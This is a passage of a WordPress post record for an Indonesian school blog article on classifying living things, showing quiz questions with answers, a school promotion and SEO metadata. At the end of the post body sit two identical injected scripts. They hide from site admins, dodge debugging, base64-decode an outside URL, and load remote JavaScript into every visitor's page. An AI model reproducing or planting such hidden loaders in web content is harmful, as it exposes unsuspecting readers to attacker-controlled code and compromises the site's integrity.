Filum &#8211; Kingdom &#8211; Kelas &#8211; Ordo &#8211; Famili &#8211; Genus &#8211; Spesies<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: A<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">9. Contoh hewan yang termasuk kelas mamalia adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Ikan mas<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Ayam<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kucing<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kura-kura<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: C<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">10. Taksonomi adalah cabang ilmu biologi yang mempelajari\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Struktur tubuh makhluk hidup<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Pengelompokan dan penamaan makhluk hidup<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Perilaku makhluk hidup<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Habitat makhluk hidup<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: B<\/strong><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, bagaimana soal-soal di atas? Cukup mudah, kan? Berapa soal yang kamu jawab benar? Jika masih ada yang salah, tidak perlu sedih. Kamu bisa terus latihan sampai menguasai materi ini dengan maksimal. Setelah menguasai materi ini, kamu bisa lanjut mempelajari materi lainnya bersama <\/span><strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School by Ruangguru<\/a>.<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Alta Global School by Ruangguru<\/span><span style=\"font-weight: 400;\"> menyediakan sistem <\/span><i><span style=\"font-weight: 400;\">blended learning<\/span><\/i><span style=\"font-weight: 400;\">, gabungan pembelajaran daring dan luring, mulai dari <\/span><i><span style=\"font-weight: 400;\">preschool <\/span><\/i><span style=\"font-weight: 400;\">sampai <\/span><i><span style=\"font-weight: 400;\">high school<\/span><\/i><span style=\"font-weight: 400;\">, dengan <\/span><i><span style=\"font-weight: 400;\">Champions Curriculum<\/span><\/i><span style=\"font-weight: 400;\"> yang menggabungkan kurikulum internasional dan nasional. Yuk, daftar sekarang juga!<\/span><\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Referensi:<\/strong><\/p>\n<p><span style=\"font-weight: 400;\">https:\/\/repositori.kemendikdasmen.go.id\/20338\/1\/Kelas%20X_Biologi_KD%203.3%20%281%29.pdf<\/span><\/p>\n<p><span style=\"font-weight: 400;\">https:\/\/www.gramedia.com\/literasi\/sistem-klasifikasi-makhluk-hidup\/?srsltid=AfmBOopEeCEAyjKUzC54vGxzmGPhk7_-63suHKhx70-vOjQfc-cRBJse<\/span><\/p>\n<p><span style=\"font-weight: 400;\">https:\/\/www.ruangguru.com\/blog\/macam-macam-sistem-klasifikasi-makhluk-hidup<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">https:\/\/kumparan.com\/berita-terkini\/memahami-4-manfaat-klasifikasi-makhluk-hidup-bagi-manusia-20zQSUZAxRV\/4<\/span><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup! &#8212; Kamu pernah hendak memetik jamur? Sekilas jamur itu terlihat segar, tetapi setelahnya kamu ragu apakah jamur itu beracun atau tidak.\u00a0 Nah, di situlah klasifikasi makhluk hidup berperan, supaya kita bisa tahu cara mengelompokkan makhluk hidup berdasarkan ciri-cirinya. Coba [&hellip;]<\/p>\n","protected":false},"author":44,"featured_media":1692,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1760347503:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png"],"_linker_next_update":["1769393700"],"_yoast_wpseo_metadesc":["Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!"]},"categories":[1],"tags":[],"class_list":["post-1692","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Klasifikasi Makhluk Hidup: Pengertian, Sistem, &amp; Contoh Soal<\/title>\n<meta name=\"description\" content=\"Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Klasifikasi Makhluk Hidup: Pengertian, Sistem, &amp; Contoh Soal\" \/>\n<meta property=\"og:description\" content=\"Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-14T02:00:15+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:24:11+00:00\" \/>\n<meta name=\"author\" content=\"Elvina Sarah Nur Alvia\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Elvina Sarah Nur Alvia\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup\",\"name\":\"Klasifikasi Makhluk Hidup: Pengertian, Sistem, & Contoh Soal\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png\",\"datePublished\":\"2025-10-14T02:00:15+00:00\",\"dateModified\":\"2026-01-19T23:24:11+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448\"},\"description\":\"Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Klasifikasi Makhluk Hidup: Pengertian, Sistem, &#038; Contoh Soal\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448\",\"name\":\"Elvina Sarah Nur Alvia\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g\",\"caption\":\"Elvina Sarah Nur Alvia\"},\"description\":\"Have enthusiasm in writing and sharing good things to people. :)\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/elvina-sarah-nur-alvia\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Klasifikasi Makhluk Hidup: Pengertian, Sistem, & Contoh Soal","description":"Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup","og_locale":"en_US","og_type":"article","og_title":"Klasifikasi Makhluk Hidup: Pengertian, Sistem, & Contoh Soal","og_description":"Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-10-14T02:00:15+00:00","article_modified_time":"2026-01-19T23:24:11+00:00","author":"Elvina Sarah Nur Alvia","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Elvina Sarah Nur Alvia","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup","url":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup","name":"Klasifikasi Makhluk Hidup: Pengertian, Sistem, & Contoh Soal","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png","datePublished":"2025-10-14T02:00:15+00:00","dateModified":"2026-01-19T23:24:11+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448"},"description":"Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Klasifikasi Makhluk Hidup: Pengertian, Sistem, &#038; Contoh Soal"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/7b86ae809037c920fd75c8e60eac0448","name":"Elvina Sarah Nur Alvia","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b24d7f8169b2eed6415affdba1ce656cde8bb9b6a3dc178a17e80f3e86bd8230?s=96&d=mm&r=g","caption":"Elvina Sarah Nur Alvia"},"description":"Have enthusiasm in writing and sharing good things to people. :)","url":"https:\/\/www.altaglobalschool.com\/blog\/author\/elvina-sarah-nur-alvia"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1692","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1692"}],"version-history":[{"count":2,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1692\/revisions"}],"predecessor-version":[{"id":1882,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1692\/revisions\/1882"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1692"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1692"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1692"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1692"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}